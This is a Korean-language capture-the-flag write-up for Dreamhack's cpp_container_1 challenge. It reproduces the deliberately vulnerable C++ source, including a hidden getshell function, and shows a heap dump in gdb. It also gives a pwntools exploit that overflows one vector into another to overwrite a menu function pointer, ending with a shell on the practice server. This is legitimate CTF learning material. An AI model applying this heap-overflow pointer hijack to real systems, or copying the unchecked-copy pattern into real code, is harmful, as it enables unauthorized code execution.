dreamhack - cpp_container_1 writeup
[dreamhack] cpp_container_1 writeup
1. 문제

cpp_container_1
이 문제는 서버에서 작동하고 있는 서비스(cpp_container_1)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <iostream>
#include <vector>
#include <cstdlib>
#include <csignal>
#include <unistd.h>
#include <cstdio>
void alarm_handler(int trash)
{
std::cout << "TIME OUT" << std::endl;
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void print_menu(){
std::cout << "container system!" << std::endl;
std::cout << "1. make container" << std::endl;
std::cout << "2. modify container" << std::endl;
std::cout << "3. copy container" << std::endl;
std::cout << "4. view container" << std::endl;
std::cout << "5. exit system" << std::endl;
std::cout << "[*] select menu: ";
}
class Menu{
public:
Menu(){
}
Menu(const Menu&){
}
void (*fp)(void) = print_menu;
};
void getshell(){
system("/bin/sh");
}
void make_container(std::vector<int> &src, std::vector<int> &dest){
std::cout << "Input container1 data" << std::endl;
int data = 0;
for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
std::cout << "input: ";
std::cin >> data;
*iter = data;
}
std::cout << std::endl;
std::cout << "Input container2 data" << std::endl;
for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
std::cout << "input: ";
std::cin >> data;
*iter = data;
}
std::cout << std::endl;
}
void modify_container(std::vector<int> &src, std::vector<int> &dest){
int size = 0;
std::cout << "Input container1 size" << std::endl;
std::cin >> size;
src.resize(size);
std::cout << "Input container2 size" << std::endl;
std::cin >> size;
dest.resize(size);
}
void copy_container(std::vector<int> &src, std::vector<int> &dest){
std::copy(src.begin(), src.end(), dest.begin());
std::cout << "copy complete!" << std::endl;
}
void view_container(std::vector<int> &src, std::vector<int> &dest){
std::cout << "container1 data: [";
for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
std::cout << *iter << ", ";
}
std::cout << "]" << "\n" << std::endl;
std::cout << "container2 data: [";
for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
std::cout << *iter << ", ";
}
std::cout << "]" << "\n" << std::endl;
}
int main(){
initialize();
std::vector<int> src(3, 0);
std::vector<int> dest(3, 0);
Menu *menu = new Menu();
int selector = 0;
while(1){
menu->fp();
std::cin >> selector;
switch(selector){
case 1:
make_container(src, dest);
break;
case 2:
modify_container(src, dest);
break;
case 3:
copy_container(src, dest);
break;
case 4:
view_container(src, dest);
break;
case 5:
return 0;
break;
default:
break;
}
}
}
cpp답게 코드가 길지만 정리하면 아래와 같다.
- 1. make_container :
src
와dest
라는container
힙을 정의하고 값을 입력 - 2. modify_container :
src
와dest
의 힙 사이즈를 변경 - 3. copy_container :
src
에 들어있는 내용을dest
로 copy - 4. view_container :
src
와dest
에 들어있는 내용을 출력 - 5. 함수 종료
간단하게 src
와 dest
를 modify
할때 size 체크를 하지않고, copy를 그냥 for문으로 하기 때문에 취약점이 발생한다.
그리고 Menu
클래스 정의할 때 print_menu
함수를 fp
포인터에 넣게 되는데, 이때도 힙에다가 저장한다.
make_container
후에 gdb로 힙이 어떻게 생겼는지 보면 아래와 같다.
pwndbg> r
Starting program: /home/ubuntu/dreamhack/level3/cpp_container_1/cpp_container_1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
container system!
1. make container
2. modify container
3. copy container
4. view container
5. exit system
[*] select menu: 1
Input container1 data
input: 1
input: 2
input: 3
Input container2 data
input: 4
input: 5
input: 6
container system!
1. make container
2. modify container
3. copy container
4. view container
5. exit system
[*] select menu: ^C
Program received signal SIGINT, Interrupt.
(중략)
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x605000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x605290
Size: 0x12010 (with flag bits: 0x12011)
Allocated chunk | PREV_INUSE
Addr: 0x6172a0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x6172c0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x6172e0
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x617300
Size: 0xed00 (with flag bits: 0xed01)
pwndbg> x/30gx 0x6172a0
0x6172a0: 0x0000000000000000 0x0000000000000021
0x6172b0: 0x0000000200000001 0x0000000000000003
0x6172c0: 0x0000000000000000 0x0000000000000021
0x6172d0: 0x0000000500000004 0x0000000000000006
0x6172e0: 0x0000000000000000 0x0000000000000021
0x6172f0: 0x0000000000400f83 0x0000000000000000
0x617300: 0x0000000000000000 0x000000000000ed01
0x617310: 0x0000000000000000 0x0000000000000000
0x617320: 0x0000000000000000 0x0000000000000000
0x617330: 0x0000000000000000 0x0000000000000000
0x617340: 0x0000000000000000 0x0000000000000000
보면 src
힙이 0x6172a0
에, dest
가 0x6172c0
에 존재하고, 그뒤에 Menu
가 0x6172e0
에 있다.
현재는 0x400f83 == print_menu()
이 들어가있는 위치에 src
의 size를 크게 변경해서 dest
위치에 copy를 시키면 9번째 내용이 Menu
의 함수 주소를 덮게 될 것이고, 이때 getshell
함수의 주소로 변경해주면 print_menu
함수가 실행될때 getshell
함수가 실행될 것이다.
exploit과 결과는 아래와 같다.
from pwn import *
p = process("./cpp_container_1")
p = remote("host8.dreamhack.games", 12183)
p.sendlineafter(b"menu: ", b"1")
for i in range(6):
p.sendlineafter(b"input: ", str(i))
p.sendlineafter(b"menu: ", b"2")
p.sendlineafter(b"Input container1 size\n", b"9")
p.sendlineafter(b"Input container2 size\n", b"3")
p.sendlineafter(b"menu: ", b"1")
for i in range(8):
p.sendlineafter(b"input: ", str(i))
p.sendlineafter(b"input: ", str(0x401041))
for i in range(3):
p.sendlineafter(b"input: ", str(i))
p.sendlineafter(b"menu: ", b"3")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/cpp_container_1$ python3 e_cpp_container_1.py
[+] Starting local process './cpp_container_1': pid 3161163
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"input: ", str(i))
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"input: ", str(i))
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"input: ", str(0x401041))
/home/ubuntu/dreamhack/level3/cpp_container_1/e_cpp_container_1.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"input: ", str(i))
[*] Switching to interactive mode
copy complete!
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
해결~